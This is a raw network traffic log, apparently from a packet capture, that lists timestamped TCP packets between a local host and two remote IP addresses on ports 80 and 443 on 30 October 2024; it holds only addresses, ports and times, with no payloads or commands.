Oct 30, 2024 05:25:25.151737928 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.151926994 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.151962042 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.152030945 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:25.152041912 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:25.166388035 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166434050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166445017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166526079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166534901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166543961 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166554928 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166555882 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166565895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166578054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166596889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166662931 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166687965 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166701078 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166716099 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166726112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166742086 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166757107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166765928 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166771889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166780949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166785002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166804075 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166821003 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166855097 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166892052 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166893959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166904926 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166925907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166949034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166970968 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.166979074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.166997910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167007923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167017937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167023897 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167042017 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167063951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167150021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167197943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167200089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167211056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167239904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167248011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167258024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167274952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167282104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167292118 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167304039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167308092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167318106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167321920 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167341948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167362928 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167423010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167442083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167450905 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.167478085 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167493105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.167493105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168001890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168020010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168029070 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168050051 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168066025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168078899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168091059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168100119 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168121099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168133974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168184996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168230057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168231010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168279886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168442011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168452024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168463945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168489933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168509007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168521881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168534040 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168550014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168560982 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168562889 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168571949 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168572903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168581009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168590069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168593884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168603897 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168608904 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168643951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168649912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168658972 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168668985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168693066 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168705940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168761969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168771029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168781996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168793917 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168807030 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168808937 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168831110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168843031 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168884039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168925047 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168932915 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168943882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168975115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.168978930 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.168986082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.169012070 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.169033051 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.169095993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.169105053 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.169140100 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.216805935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.216824055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.216835976 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.216845036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.216857910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.216886997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.216913939 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.241131067 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241142988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241157055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241169930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241187096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241198063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241209030 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241211891 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.241234064 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.241266966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.241532087 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.297776937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297796011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297806978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297816992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297827959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297837973 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297848940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297861099 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.297893047 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.297899008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297909021 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297914028 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.297919989 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297930956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297949076 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.297965050 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.297982931 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.297992945 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298003912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298017025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298019886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298022985 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298043966 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298058033 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298125029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298141003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298157930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298168898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298170090 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298180103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298188925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298198938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298202038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298202038 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298209906 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298219919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298232079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298242092 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298249006 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298249960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298249960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298283100 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298425913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298437119 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298445940 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298455954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298472881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298482895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298494101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298496962 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298496962 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298502922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298510075 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298513889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298530102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298536062 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298541069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298549891 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298561096 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298571110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298573971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298573971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298580885 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298585892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298590899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298599005 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298603058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298641920 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298660040 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298711061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298721075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298732042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298757076 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298782110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298892975 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298903942 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298913002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298923016 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298932076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298942089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298943043 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298952103 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298960924 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298970938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298970938 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.298980951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298991919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.298995972 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.299000978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.299017906 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.299017906 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.299019098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.299031019 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.299041986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.299050093 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.299067974 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.299091101 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.330378056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.330389023 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.330440044 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.335860014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.335870981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.335880995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.335908890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.335921049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.335931063 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.335946083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.335956097 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.335958004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.335982084 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.335997105 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.360364914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360375881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360385895 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360395908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360430956 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.360443115 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360454082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360455990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.360465050 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360476017 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.360488892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.360517025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.360528946 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.404685020 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404695988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404705048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404753923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404767036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404772043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404773951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.404836893 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.404910088 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404949903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.404957056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404966116 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.404977083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405000925 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405006886 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405011892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405016899 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405045986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405047894 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405054092 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405077934 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405113935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405122995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405139923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405147076 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405148029 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405148029 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405179024 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405534029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405544043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405553102 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405589104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405601025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405607939 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405611992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405621052 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405647993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405662060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405874968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405884981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405898094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405925035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405944109 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405946016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.405953884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405963898 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.405993938 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406009912 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406097889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406111956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406122923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406133890 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406146049 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406161070 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406189919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406193972 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406198025 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406234026 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406245947 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406279087 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406289101 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406300068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406310081 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406327009 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406335115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406335115 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406353951 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406390905 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406630039 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406677961 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406708002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406716108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406725883 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406735897 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:25.406745911 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:25.406770945 CET	49997	80	192.168.2.6	185.215.113.16
